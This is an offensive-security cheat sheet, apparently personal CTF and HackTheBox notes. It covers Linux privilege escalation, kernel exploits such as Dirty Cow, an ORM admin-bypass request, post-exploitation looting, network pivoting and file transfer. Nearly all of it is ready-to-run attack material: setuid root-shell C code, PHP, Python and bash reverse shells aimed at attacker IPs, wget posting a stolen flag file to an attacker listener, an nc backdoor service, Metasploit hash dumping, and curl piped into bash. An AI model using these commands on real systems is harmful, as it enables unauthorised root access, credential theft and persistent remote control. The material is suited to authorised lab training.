## Shared Object Injection

* **strace** - track system calls
* Ex: strace myapp
* App is trying to execute a missing "Shared Object"
* We can create our own evil SO

```
-------------------------
Finds suid bit set
> lse -l 1 -i

Search SUID/SGID files
find / -type f -a \(-perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

ls -l /usr/local/bin/suid-so
/usr/local/bin/suid-so  ..execute seems to work

-------------------------
> strace myapp 2>&1 | grep -iE "open|access|no such file"
open("/home/user/.config/libcalc.so" ENOENT (No such file or dir)
> vim /home/user/.config/libcalc.c

#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
   setuid(0);
   system("/bin/bash -p");
}

> gcc -shared -fPIC -o libcalc.so libsalc.c
> myapp
```

## Path Environment Variable:

Exploit hunting:

```
strings /path/to/file
strace -v -f -e execve <command> 2>&1 | grep exec
ltrace <command>
```

Find SUID/SGID files:

```
find / -type f -a \(-perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
/usr/bin/kick          ..execs w/root perms suid, tries to start apache2httpd
strings /usr/bin/kick  ..found 'service apache2 start'
strace -v -f -e execve /usr/bin/kick 2>&1 | grep service

Found 'service apache2 start' 
Vulnerable since it tries to run 'service' without a full path
```

Exploit:\
This will run 'service' from path instead of the 'real' command

```
-------------------------
vim service.c

-------------------------
int main() {
    setuid(0);
    system("/bin/bash -p");
}

-------------------------
gcc -o service service.c

-------------------------
Add current directory to our Environment PATH

> PATH=.:$PATH
> PATH=.:$PATH /usr/bin/kick
root!
```

## Bash Functions

* Old bash can define an evil function that can pop a shell
* This is **"Defining Bash Functions with Precedence"**
* Bash < 4.2-048
* Could define user functions w/absolute path
* Functions could be exported and get precedence
* New Scenario has Full Path (which is better)

```
-------------------------
strace -v -f -e execve /usr/local/bin/suid-env2 2>&1 | grep service
Found '/usr/sbin/service apache2 start"

/bin/sh --version   ..< 4.2-048

-------------------------
function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service

-------------------------
/usr/local/bin/kick
root!!
```

## Bash PS4 Debug

* Inject a command to Bash Debug PS4 Prompt
* Bash < 4.2-048
* SHELLOPTS environment variable with xtrace
* debugging mode -x
* Can set SHELLOPTS with 'env' command

```
env -i SHELLOPTS=xtrace PS4='<test>' /usr/bin/myapp
env -i SHELLOPTS=xtrace PS4='$(whoami)' /usr/myapp
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +x /tmp/rootbash)' /usr/bin/myapp
/tmp/rootbash -p
root!!
```

## SSH Keys

Found ssh private key!\
Are root logins allowed?

```
grep PermitRootLogin /etc/sshd_config

vim root_key
chmod 600 root_key

ssh -i root_key root@192.x.x.x
connected!
```

## NFS Root Squashing

* Network File System
* Send a **rootbash** over NFS with local root impersonating remote root
* Only works if "**no\_root\_squash**" is setup
* Remote users can: mount/access/create/modify files
* Default: Created files inherit remote user/group ID
* Even if not on the NFS server
* How NFS protects obvious privesc
* If remote user claims to be root uid=0
* NFS will squash and treat as a nobody
* Feature can be disabled!
* REF: [TarBackups](/06-linux-privesc/tar-backup-tricks)

```
-------------------------
showmount -e <tgt>
nmap -sV -script=nfs-showmount <tgt>
mount -o rw,vers=2 <tgt>:<share> <localdir>

-------------------------
lse.sh -l 2 -i   ..found nfs share
cat /etc/exports
/tmp *(rw,sync,no_root_squash)

-------------------------
Local:
showmount -e 192.x.y.z
mkdir /tmp/nfs
mount -o rw,vers=2 192.x.y.z:/tmp /tmp/nfs
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
chmod +xs /tmp/nfs/shell.elf

-------------------------
Target:
ls -l /tmp       ..owned by root, with suid
/tmp/shell.elf   ..executed as root
root!!
```

## wget

REF: SundayHTB

```
wget (download)

If you can sudo wget.. you can write anywhere as root!
> sudo wget 10.10.14.52/shell.py -o /root/troll  

--------------------------
--------------------------
wget (upload)

Pro-tip: you can upload with wget too!
> nc -nvlp 4444
> sudo wget --post-file=/root/flag.txt 10.10.14.52:4444
connected to [10.10.14.52]
flag !!!
```

## chkrootkit

* "chkrootkit privilege escalation" google
* [Vulnerability ](https://www.exploit-db.com/exploits/33899)will run any exe named: **tmp/update** ..as root
* REF: [rootbash](#rootbash), ninevehHTB, <https://github.com/NixOS/nixpkgs/issues/33091>

```
--------------
#!/bin/bash
php -r '$sock=fsockopen("$MyIP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

After schedule runs the job:
nc -nlvp 4444
connected!

--------------
rootbash:
echo -e '#!/bin/bash' > /tmp/update
echo -e 'cp /bin/bash /tmp/rootbash' >> /tmp/update
echo -e 'chmod +s /tmp/rootbash' >> /tmp/update
chmod +x /tmp/update
./rootbash -p   ...after created! got root!
```

## ORM

* Makes things easier to program.
* But sometimes you can slip-in extras to the authentication to get in!
* Object-relational mapping (ORM) to easily query the database without any SQL knowledge.

```
Ruby (using ActiveRecord)
You can do things like:

@user = User.find_by_name('myuser')    .. to execute query and get user object results
@user = User.create(myhash)      ..or automatically create and update an object from a hash
@user.update_attributes(anotherhash)

Burp intercept found:
Proxy > Intercept > ON
Proxy > Intercept > Raw > Forward (after editing)

user%5Busername%5D=test&user%5Bpassword%5D=test&submit=Submit+Query
user[username]=test&user[password]=test&submit=Submit Query     ..url decoded
user[username]=test&user[password]=test&submit=Submit Query&user[admin]=true  ..got admin!!
user[username]=test&user[password]=test&submit=Submit Query&user[admin]=1     ..got admin!!

Add the Admin 'organization" too:
user.organisation_id = 1
user[username]=test&user[password]=test&submit=Submit Query&user[organisation_id]=1
user%5Busername%5D=test&user%5Bpassword%5D=test&submit=Submit+Query&user%5Borganisation_id%5D=1

```


# 4 Kernel Exploits

##

| Family                  |                                                 | Versions                                                                                    |
| ----------------------- | ----------------------------------------------- | ------------------------------------------------------------------------------------------- |
| [Dirty Cow](#dirty-cow) | <p>CVE-2016-5195</p><p>Effective but Unsafe</p> | <p>Works on old kernels (ie: 2011/2012)<br>Kernel: 3.2.0</p><p>Ubuntu 12.04 (2012-2014)</p> |

## Version

```
uname -a       ..2011/2012 Kernel should be vuln to Dirty Cow
uname -a       ..debian 2.6.32  - Vulnerable
```

## Linux Versions

* <https://wiki.ubuntu.com/Releases>

## Linux-Exploit-Suggester-2

```
---------------
https://github.com/jondonas/linux-exploit-suggester-2
python -m SimpleHTTPServer 5555
wget http://$IP:4444/linux-exploit-suggester-2.pl

---------------
linux-exploit-suggester-2.pl -k 2.6.32          ..local
./linux-exploit-suggester-2.pl                  ..remote exe
```

## Dirty Cow

* [https://dirtycow.ninja](https://dirtycow.ninja/)
* Dirty COW is a privilege escalation vulnerability which exploits a race condition in the way the Linux kernel’s memory subsystem handles the copy-on-write (COW) breakage of private read-only memory mappings.
* Download > Scroll to Bottom > Pick most recent Release (ex: Firefart)
* REF: beepHTB, valentineHTB, lameHTB

```
dirty.c
https://github.com/FireFart/dirtycow/blob/master/dirty.c
git clone https://gist.github.com/e9d4ff65d703a9084e85fa9df083c679.git
python -m SimpleHTTPServer 4444
wget http://10.10.14.6:5555/dirty.c

gcc -pthread dirty.c -o dirty -lcrypt
chmod 777 dirty
./dirty
backs up password to /tmp
newpassword
su firefart  ..root privs!
```

## Dirty c0w - older?

```
--------------------------------
uname -a                                       ..debian 2.6.32
searchsploit linux kernel 2.6.32 priv esc      ..some
searchsploit linux kernel 2.6 debian priv esc  ..nada
linux-exploit-suggester-2.pl -k 2.6.32         ..'dirty cow'

cat c0w.c                                      ..download/view
gcc -pthread c0w.c -o c0w                      ..complie
./c0w                                          ..exploit
privesc: /usr/bin/passwd                       ..result
whoami                                         ..root
cp /tmp/bak /usr/bin/passwd                    ..cleanup!
```

## 40839

* <https://www.exploit-db.com/exploits/40839>

```
uname -a                                     ..linux 2.6.24
searchsploit linux kernel 2.6.24 priv esc    ..search

searchsploit -m 40839.c                      ..copy
python -m SimpleHTTPServer 4444              ..transfer
wget http://$MyIP:4444/40839.c               ..get
gcc -pthread 40839.c -o 40839 -lcrypt        ..compile
./40839  (password)                          ..execute/set pw
su -                                         ..win
```


# 5 Looting

## After root

1. dump **etc/shadow**
2. check **/var/mail**
3. Cheat sheet: <https://xapax.gitbooks.io/security/content/tcp-dumps_on_pwnd_machines.html>

<https://xapax.github.io/security/>\
<https://xapax.github.io/security/#post_exploitation/privilege_escalation_-_linux/>

<https://github.com/mubix/post-exploitation-wiki>


# binaries

## You found a custom Binary

* What does it do?
* Perhaps a script or job is running it.
* How many options does it take?
* How you can exploit it?
* REF: [BufferOverflow](/06-linux-privesc/buffer-overflow), [CharEvasion](/03-getting-in/char-evasion-tricks), [PrivEsc](/06-linux-privesc/lx-privesc)

## "backup" example

* From nodeHTB, [mongodb](/06-linux-privesc/mongodb-node)
* Custom app: **/usr/local/bin/backup**
* Find a script that executes 'backup' and learn from it!

```
grep -Ri backup .               ..find references to 'backup'
find . | grep app.js            ..find our app
cat /var/www/myplace/app.js

const backup_key  = '45fac123...';
app.get('/api/admin/backup', function (req, res) {
    if (req.session.user && req.session.user.is_admin) {
      var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
      var backup = '';

backup -q key /dir   ..we learned how to execute!
```

## backup /root

```
----------------
backup -q key /dir                                    ..how to execute!
/usr/local/bin/backup -q 45fac123... /tmp > out.txt   ..works!
base64 -d out.txt > decode-base64                     ..decode
file decode-base64                                    ..zip archive
unzip decode-base64                                   ..unzip

----------------
get root:
/usr/local/bin/backup -q 45fac123... /root > root.txt
base64 -d root.txt > /tmp/root
unzip root         ..failed
7z x rootdecoded   ..kinda worked?
cat root           ..failed
```

## Avoid '/root' Filter with Splatting

* REF: [CharEvasion](/03-getting-in/char-evasion-tricks)

```
----------------
Root Blocked
echo 'hello' > /tmp/root    ..decode/unzip/cat  ..fail
echo 'hello' > /tmp/*r00t   ..decode/unzip/cat  ..success

----------------
Splatting:
.backup -q secretkey /r**t/r**t.txt > root.txt
base64 -d root.txt > /tmp/secret
unzip secret
cat root/root.txt  ..success

----------------
myapp -q secretkey /r**t/r**t.txt > /tmp/encoded
myapp -q secretkey /r??t/roo?.txt > /tmp/encoded
myapp -q secretkey /r*t/r*t.txt > /tmp/encoded
```

## Work Local

* Send file to yourself.. You have better analysis tools!

```
nc $MyIP 4444 < /usr/bin/backup   ..send
nc -nlvp 4444 > backup            ..receive

md5sum backup                     ..confirm
chmod +x ./backup
```

## strace

```
strace ./backup                    ..might be interesting
strace ./backup 1 2 3              ..works better with 3 arguments :)

ltrace ..found our app was filtering root and etc
ltrace /usr/local/bin/backup -q secretkey /root/root.txt
```

## Analyze Assembly: radare2

```
> r2 backup  
aaa       ..analyze
afl       ..function list
vvv       ..visual mode
sym.main  ..scroll here
g g       ..get details
<space>   ..change view: nice call graph

./backup 1 2 3           ..App needs 3 Arguments!
strace ./backup 1 2 3    ..reads from /etc/myplace/keys
```

## Analyze Assembly: binaryninja

* Better graphics than radare2
* But, doesnt show hex nicely

```
/opt/binaryninja/binaryninja

'main'  ..drill around follow the blacklist and trollface
'push'  ..keywords to watch for

Found redirects: /root $ ` ; | /etc // /
```

## PrivEsc: Newline Character

* <https://joshuasuren.medium.com/hack-the-box-node-write-up-11-b47efb3c98ab>

```
/bin/myapp -q secretkey "xxx
> /bin/bash
> xxx"
# whoami ..root!
```

## PrivEsc: Newline Character printf

* Newline character in printf function can also give you root!

```
------------------
printf 'hi\nNewLine\nBye'  ..gives us new lines

------------------
/bin/myapp -q secretkey "$(printf 'xxx\n/bin/bash\nxxx')"
/bin/myapp -q secretkey "$(printf 'xxx\n/bin/sh\nxxx')"
```

##


# Buffer Overflow

## Intro

```
Check compile time protections:
> gdb myapp

g> checksec
NX  : enabled - aka: "Dep"
ASLR: not found

Next:
libc analysis
```

## October

* HackTheBox has a good one by ippsec
* <https://www.youtube.com/watch?v=K05mJazHhF4>
* Python script that pushes 250 A's ...and then gets root

## More...

* to come...


# bash prison

## which shell?

```
cat /etc/passwd  
myuser:x:............/bin/rbash  ..yuck
bobbie:x:............/bin/bash   ..might want to pivot to this
```

## escape rbash

* restricted bash shell
* Here are some easy movements you can try:

```
> bash
> /bin/bash

> dash
> /bin/dash
```


# Monitor Files

## Method 1 - ls loop

An app escalates your session to Root\
Saves the shadow-file in tmp, but then deletes it..\
CTF Example: BetterSSH.py\
Thanks: Pivonka

```
#!/bin/bash

while true
do
		file=$(ls -1A /tmp/SSH)
		if [ $(ls -1A /tmp/SSH| wc -l) -gt 0 ]
		then
				cat /tmp/SSH/$file
				exit 1
		fi
done
```

## Method 2 - while cat

Watch for the latest entry to /tmp\
Sleep 0 ..if you want it faster

```
Watch for a new file:
> while : ; do ls -At /tmp | head -n1; sleep 1; done

Cat the new file:
> while : ; do cat '/tmp/flag.txt' 2>/dev/null; sleep 1; done
```

## Watch jobs

```
> watch -n 1 'systemctl list-timers'
```

## Watch Proc - "procmon":

* procmon.sh ...from ippsec on ninevehHTB
* bash ./procmon.sh
* REF: [cron ](/06-linux-privesc/04-look-around#admin-crons)jobs

```
#!/bin/bash
IFS=$'\n'
old_proc=$(ps -eo command)
while true; do
  new_process=$(ps -eo command)
  diff <(echo "$old_process") <(echo "$new_process") | grep [\<\>]
  sleep 1
  old_process=$new_process
done
```


# mongodb node

## node discovery

* Likely found from LinEnum or LSE

```
ps -ef | grep sched  ..running as 'tom'
Found 'mongo' running with localhost:27017

/usr/bin/node /var/www/myplace/app.js    ..service running as who?
/usr/bin/node /var/scheduler/app.js

cat /var/scheduler/app.js
cat /var/www/myplace/app.js
```

## Naughty node app

* Found that bad app running with node: Ex: "app.js"
* Connects to Mongo
* Executes bash/cmd task found in mongo>tasks>docs
* Delete after execution
* REF: nodeHTB

```
const url = 'mongodb://mark:mypassword@localhost:27017/scheduler';
MongoClient.connect(url, function(error, db) {}
setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });
      }
      else if (error) {
        console.log('Something went wrong: ' + error);
      }
    });
  }, 30000);
});
```

## Exploit

* Since node is running elevated and SUID bit set - we can do a few injections:

```
mongo -u mark -p mypass localhost:27017/scheduler
> show dbs
> use scheduler
> show collections
> db.tasks.find()
> db.tasks.insert({"cmd":"cp /bin/dash /tmp/rootdash; chmod u+s /tmp/rootdash;}
> db.tasks.insert({"cmd":"cp /bin/bash /tmp/tombash; chown tom:admin /tmp/tombash;chmod +s /tmp/tombash"})
> db.tasks.insert({"cmd":"/bin/cp /bin/bash /tmp/tombash; chmod u+s /tmp/tombash;" } );
> db.tasks.insert({"cmd":"chown tom:admin /tmp/rootdash; chmod 6755 /tmp/rootdash;"}
> db.tasks.insert({"cmd":"bash /tmp/shell.sh" });
> db.tasks.insert({"cmd":"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.x.x.x\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"})

.. sometimes 'bash' will drop the suid bits
.. dash will usually keep them if you set!

/tmp/rootdash -p   
whoami ..tom !!

```

##


# Pivots

## Windows backdoor

* sc creates: nc listener service
* cmd dies after 30 seconds - 'takes the bullet'
* Service continues to run
* If you dont do this.. you'll have a dead/unresponsive service

```
sc \\serv1 create ncsvc binpath= "cmd.exe /k c:\Tools\nc.exe -lp 2222 -e cmd.exe"
sc \\serv1 query ncsvc
sc \\serv1 start ncsvc

nc.exe -nv 10.x.x.x 2222 ..Connect!!!
sc \\serv1 delete ncsvc  ..Cleanup
```

## Windows Port Fwd: plink

* If Vuln app is listening to Internal Port
* Lets forward port on Kali to internal Windows port

```
Win: Disable ports:
netsh advfirewall set allprofiles state on

kali:
> winexe -U 'admin%password123' --system //192.168.win cmd.exe
connects on 445 by default
now fails

kali:
nc -nvlp 53

pkill --full smbserver.py   ..kill our smb
vim /etc/ssh/sshd_config
PermitRootLogin yes
service ssh restart

plink
from makers of PuTTY
win: will connect and port-forward over 445
plink.exe root@192.kali -R 445:127.0.0.1:445
                       from kali       local win

connects to kali on 445!

kali:
> winexe -U 'admin%password123' --system //127.0.0.1 cmd.exe
connects on 445 by default
now works!!
```

## Firewall port redirect

* Send incoming traffic on 8000 to port 80 on 10.3.2.1

```
----------------
Linux:
nc -l -p 8000 < mypipe | nc 10.3.2.1 80 > mypipe

Or:
echo '1' > /proc/sys/net/ipv4/conf/eth0/forwarding
iptables -t nat -A PREROUTING -p tcp -i eth0 --dport 8000 -j DNAT --to-destination 10.3.2.1:80
iptables -A FORWARD -p tcp -d 10.3.2.1 --dport 80 -m state --state NEW,ESTABLISTHED,RELATED -j ACCEPT

----------------
Windows:
netsh interface portproxy add v4tov4 listenport=8000 connectport=80 connectaddress=10.3.2.1
```

## SSH Pivots

### Local

```
------------------------------------
> ssh bob@one:2222
> ssh bob@one:2222 -L 8000:mary@two:80
> http://localhost:8000

------------------------------------
> ssh -L 8888:webserver:80 user2@pivot

Listener is Attacker.. my port 8888

Traffic to my 8888 port.. will go to webserver80 and over to 'pivot'               
Appears to come from Pivot ? Weird

curl http://127.0.0.1:8888 ..would go to the webserver


------------------------------------
x.x.x.1> ssh -L 8000:localhost:80 me@x.x.x.2

No proxy setup needed
my port 8000
port 80 on remote 'localhost' x.x.x.2


------------------------------------
x.x.x.1> ssh -L 8000:x.x.x.100:80 me@x.x.x.2
     me>        mypt      dest    middleman

my port 8000
to non-routable x.x.x.100 port 80
using me@x.x.x.2

http://localhost:8000 give us x.x.x.100 website


------------------------------------
> ssh mike@mongo1 -L 4444:mongo2:27017 
> mongo --port:4444
..will tell mongo to hit local 4444
..which goes through mongo1
..over to mongo2 on port 27017

------------------------------------
Scenario:
VNC target running on port 5901 internal-only 

> ssh -L 4444:localhost:5901 charix@10.x.x.x
> vncviewer -passwd secret localhost:4444
```

### Reverse

```
> ssh -R :8000:webserver:80 user2@pivot
           |
       All interfaces
               |
Pushing my webserver out to the pivot system
```

### Dynamic

```
------------------------------------
> ssh -D 9000 user2@pivot

firefox to use Socks Proxy on 9000
or
> proxychains smbclient -L fileserver1


------------------------------------
> ssh -D 8080 ram@x.x.x.2

localhost will now respond 8080
on x.x.x.1 to x.x.x.2

Firefox proxy 
Socks Host v5 127.0.0.1 8080

Browser can get to x.x.x.100 website from x.x.x.1
Putty can do this too

------------------------------------
> ssh -D 4444 -L801:127.0.0.1:5801 -L901:127.0.0.1:5901 charix@$IP

Scenario: 
VNC target running on port 5801/5901 internal-only 

Dynamic port forward to 4444
Local 801 > remote127:5801
Local 901 > remote127:5901

curl http://127.0.0.1:801
curl http://127.0.0.1:901

vncviewer 127.0.0.1::901                  ..fail
vncviewer -passwd secret 127.0.0.1::901   ..ok
```

## Metasploit Pivots

```
---------------------------------------------------------------
---------------------------------------------------------------
msf> exploit
msf> Ctrl-Z to bg session
msf> route add [victim2_subnet] [netmasp] [sid]
msf> use exploit2
msf> set RHOST xx
msf> set PAYLOAD xx
msf> exploit


---------------------------------------------------------------
---------------------------------------------------------------
Meterpreter 'portfwd'

portfwd add -l 1234 -r 10.9.8.7 -p 80
                        |
                       Target

---------------------------------------------------------------
---------------------------------------------------------------
Meterpreter SOCKS Proxy

mtp> run post/multi/manage/autoroute SUBNET=10.10.10.0 CMD=add
mtp> back   ..background
msf> use auxiliary/server/socks4a
msf> set SRVPORT 9000
msf> run

---------------------------------------------------------------
---------------------------------------------------------------
Meterpreter: autoroute

First:
Setup psexec msf session to x.10
msfconsole
use exploit/windows/smb/psexec
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST 10.10.10.10
set LHOST 10.10.75.101 ..local
set SMBUSER administrator
set SMBPASS sansnight
show options
exploit ..connected!!!

Set the Route:
Use this connection to GET to x.20 (not accessible)
info post/multi/manage/autoroute
run post/multi/manage/autoroute SUBNET=10.10.10.0 CMD=add
background
route print  ..to view route! Gateway: Session 1

Can now get to 20:
show options
set RHOSTS 10.10.10.20
exploit ..connected to 20!
sysinfo
ipconfig

run post/windows/gather/smart_hashdump   ..pulled hashes on 20 - nice!!!
Win !!!


---------------------------------------------------------------
---------------------------------------------------------------
SSH Tunnel and MSF

Local Port Forward:
ssh -L 7777:10.10.10.20:445 bob@10.10.10.50
My local |     |                  |
               |                  | routed through 50
               | connect to 20

set LHOST 10.10.75.101
set RHOSTS 127.0.0.1   ..myself
set RPORT 7777         ..my port
exploit


---------------------------------------------------------------
---------------------------------------------------------------
SSH Dynamic and MSF Socks Proxy

ssh -D 9999 bob@10.10.10.50
My local | |      |
           |      | routed through 50
           | connect to ANY

MSF>
set LHOST 10.10.75.101   ..normal
set LPORT 4444           ..normal
set RHOSTS 10.10.10.20   ..actual target
set RPORT 445            ..actual target
show options
set Proxies socks4:127.0.0.1:9999
set ReverseAllowProxy true
exploit ..win! Jumps through local port-forward
sysinfo

Beauty is: 
You can update this line, and exploit next server:
set RHOSTS 10.10.10.20   ..actual target
exploit
```

## Socks Proxy Note

```
----------------------------------------
The socks proxy is an oldie but a goodie
Like Colt 45... works every time.

Straightforward way to proxy vuln scans 
through a system accessed with meterpreter...
Currently labbing out a vuln scan through a compromised system as a pivot point
(meterpreter); there seems to be a few methodologies for this 
that I’ve been able to find 
(metasploit’s SOCKS module + proxychains, portfwd, SSH tunneling) 
but many are pretty dated (~2010) and results have been mixed.  

----------------------------------------
If you have a compromised Linux machine 
you can use the iproute2 package 
to set up layer three tunnels rather easily 
by creating virtual TUN interfaces

----------------------------------------
If you're compromised machine is Windows 
and happens to be SSH capable such as Windows 10 
you can set the PermitTunnel option. 
(This is distinct from the popular AllowTcpForwarding option 
which is commonly referred to as "SSH tunneling" 
which actually just forwards packets to a socks proxy)

----------------------------------------
My personal opinion creating TUN or TAP tunnels through SSH is ideal.  
You may have to Google a little bit to understand how to work 
with this but when done properly you will have created a 
virtual network interface that functions as either a 
layer two or layer three VPN placing your device directly 
on the network you wish to be scanning
```

## Proxychains

* Scenario: Avoid a 'ban' by routing through another host
* We are banned by (10.x.x.60)
* SSH Port Forward (dynamic) to a new box (10.x.x.75)
* REF: [MetasploitPivotProxySocks5\_PFSense](/04-webapps/pfsense#metasploit)

```
ssh -D1080 10.x.x.75                      ..routed to .75 via port 1080
kali> netstat -alnp | grep LIST | 1080    ..confirm

Burp:
Use Socks 5 Proxy: 127.0.0.1:1080         ..can now connect to 10.x.x.60

curl -k https://10.x.x.60                 ..fail
vi /etc/proxychains.conf                  ..setup proxychains
socks5 127.0.0.1 1080                     ..point to 1080
proxychains curl -k https://10.x.x.60     ..ok
```

## SSH ProxyJump

```
ProxyJump:
ssh -J user@one:2222 mary@private

ProxyJump and Remote Tunnel:
ssh -J user@one:2222 mary@private -R deeper:58672:127.0.0.1:4444
nc -nlvp 4444

ProxyJump and Local Tunnel:
ssh -J user@one:2222 mary@private -L 7000:deeper:7000 &
nc -v localhost 7000
```

## SSH Konami Code (pivot)

* ssh port forward - while in a ssh session!
* <https://www.sans.org/blog/using-the-ssh-konami-code-ssh-control-sequences/>
* Dynamic Port Forward listening on localhost:1080 going to SSH
* And you get to keep your session!
* Scenario: VNC Server is only exposed locally on PoisonHTB (ref: [ssh](/03-getting-in/03-ssh-tips))

```
-----------
ssh myserver
<Enter>                    ..new line
~C                         ..commandline options for ssh
ssh> -D 1080               ..Dynamic port to 9001 

netstat -anlp | grep 1080  ..local to confirm listening

-----------
Firefox
New Proxy > Manual > 127.0.0.1 1080 SOCKSv5
(dont block localhost)

Firefox
http://127.0.0.1:5901      ..route through 1080 to vnc port 5901

-----------
Proxychains
vim /etc/proxychains.conf
socks5 127.0.0.1 1080
proxychains curl http://127.0.0.1:5901
```


# Remote Execute

## Remote execute tricks from Linux to Windows:

1. **rdesktop**
   1. REF: [Windows:RdpTrick](/07-win-privesc/windows-cmd-kungfu#rdp-trick)
2. **psexec**
   1. REF: [PrivEscWin:psexec](/07-win-privesc/win-privesc#psexec)
3. **winexe**
   1. [PrivEscWin:Passwords:Registry](/07-win-privesc/win-privesc#passwords-registry)
   2. [Pivots-WinPortFwd](/06-linux-privesc/06-pivots#windows-port-fwd-plink)
4. **pth-winexe**
   1. REF: [PrivEscWin:PassTheHash](/07-win-privesc/win-privesc#pass-the-hash)
5. **runas**
   1. [WindowsCmdKungFu-nc-cmd](/07-win-privesc/windows-cmd-kungfu#runas)
6. **nc**
7. **smbserver.py**


# Shell TTY Fix

## Shell Stuck - Get Real TTY shell

## python

```python
python -c 'import pty; pty.spawn("/bin/sh")'     ..partially interactive
python -c 'import pty; pty.spawn("/bin/bash")'   ..prettier
python3 -c 'import pty;pty.spawn("/bin/bash")'   ..python3
(CTRL+ Z)                                        ..background session
stty raw -echo                                   ..send keyboard to shell
stty raw -echo;fg                                ..could combine these
fg                                               ..foreground
enter (several times)                            ..help wake up
export TERM=xterm-color                          ..allows shell to clear screen
reset                                            ..maybe?
```

```python
Fix Weird Spacing:
stty -a                                          ..check 'normal' terminal
rows 38; columns 146                             ..example
stty rows 38 columns 146                         ..Update remote to match
```

## nc - reverse

```
nc -nvlp 5555
bash -i >& /dev/tcp/10.x.x.x/5555 0>&1
```


# TAR backups

## Easy PrivEsc

```
> whoami
www-data
> sudo -l
(sally) NOPASSWD: /bin/tar

> sudo -u sally tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
> sudo -u sally tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
> whoami
sally
```

## Backup Script Vulnerability

* If root is doing anything as a job, you can attempt to re-direct it
* Copy the script back to your host and decompose it for analysis
* Examples of root running TAR:
  * [WildcardTarTouchCheckpoint](/06-linux-privesc/lx-privesc#wildcard-tar-touch-checkpoint)
  * Extracting TAR

## Just like NFS Root Squashing

* Similar to "NFS Root Squashing" and the "jail" box
  * Make setuid root owned
  * gzip the setuid
  * copy back inject into the 'temp' check folder
  * root will extract to 'check' the files
  * and thinks it belongs to him!
* REF: [NFSRootSquash](/06-linux-privesc/lx-privesc#nfs-root-squashing)

## Backup Script Discovery

* [Enum](/06-linux-privesc/lx-enum) to find the backup/script/job running
* Works just fine as 'user'

```
cd /tmp
wget http://$MyIP:5555/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

pspy32             ..get more details
locate backuperer  ..investigate
```

## Backup Flaw Scenario

1. Backup script runs **TAR as Root** every 5 minutes
2. Deletes the previous checks: /var/tmp/.\* and /var/tmp/check.
3. Creates a gzip file of the directory /var/www/html with user-perms
4. Saves it in the file /var/tmp/.randomsha1
5. Sleeps for 30 seconds.
6. Creates the directory /var/tmp/check
7. **Extracts gzip with Root** /var/tmp/.randomsha1 to /var/tmp/check
8. If /var/www/html is different from backup: /var/tmp/check/var/www/html
   1. Report error.
   2. Otherwise, move file /var/tmp/.randomsha1 to /var/backups/onuma-wwww-dev.bak
   3. And delete 'check' directory and .randomsha1

## Backup Flaw Exploit #1

* Script design is to tar as user, then **untar as root**
* Then compare previous version (which gives us 5 minutes)
* We can inject our evil tar:
* Script will: tar/copy/extract/compare.. and fail with error..
* Giving us 5 minutes to use **root-unzipped-files**

## Create the evil setuid

```
----------------------------
gcc        ..installed?
locate -r gcc$

kali:
uname -a   ..we have 32bit (should match target)
cp /opt/shells/setuid.c .

----------------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main ( int argc, char *argv[] )
{
   setreuid(0,0);
   execve("/bin/sh", NULL, NULL);
}

----------------------------
#include <unistd.h>
int main()
{
    setuid(0);
    execl("/bin/bash", "bash", (char *)NULL);
    return 0;
}

----------------------------
gcc 
apt search gcc-multilib

Compile
gcc -m32 -o setuid setuid.c   ..32 bit compile
```

## TAR the evil suid

* TAR embeds the userid that owns the file - in the actual archive
* We create this file and TAR as root .. it will stay root when extracted

```
----------------------------
kali:

sudo -i                        ..do this work as root
mkdir -p var/www/html          ..mock directory
cp suid var/www/html
chmod 6555 var/www/html/suid   ..set the suid bit
chmod u+s var/www/html/suid    ..alternate
ls -la var/www/html/
tar -zcvf setuid.tar.gz var/   ..mock tar

send:
nc -nlvp 9002 < setuid.tar.gz


-----------------------
target:

> cd /var/tmp
> nc $MyIP 9002 > setuid.tzt.gz

> watch -n 1 'systemctl list-timers'
created '.6683a76af11'               ..temp extract
> cp setuid.tar.gz .6683a76af11      ..INJECTED !!!

> watch -n 1 'systemctl list-timers'
root extracts '.6683a76af11' to the 'check' folder
untar and diffs as 'root'

> cd check/var/www/html
> ls -la
rsuid owned by root and suid-bit-set !!

>./ rsuid
whoami root!
```

## Backup Flaw Exploit #2

* diff runs as root
* updates to readable error file:
  * /var/backups/onuma\_backup\_test.txt
* tar an **evil symlink** that root will extract/diff

```
cd /var/tmp/var/www/html
ln -s /etc/shadow index.html      ..symlink
ln -s /root/root.txt index.html   ..alternate
cat index.html                    ..denied
cd /var/tmp
tar -zcvf symlink.tar.gz var/     ..mock tar

watch -n 1 'systemctl list-timers'
created '.17f6c199'               ..temp extract
> cp symlink.tar.gz .17f6c199     ..swap our evil-tar-sym

job will untar and diff as 'root'
> cat /var/backups/onuma_backup_error.txt
'shadow' !
```

## REF

* tartarHTB
* <https://ranakhalil101.medium.com/hack-the-box-tartarsauce-writeup-w-o-metasploit-e73393d4a0cd>

##


# Transfer Files

## More

* <https://www.hackingarticles.in/file-transfer-cheatsheet-windows-and-linux/>
* <https://gist.github.com/willurd/5720255>

## Curl

```
vim script.py
python -m SimpleHTTPServer 80                     ..share
curl http://10.x.x.x:80/script.py -o /opt/tmp.py  ..d/l overwrite
curl $MyIP:80/LinEnum.sh | bash                   ..d/l execute (linux)

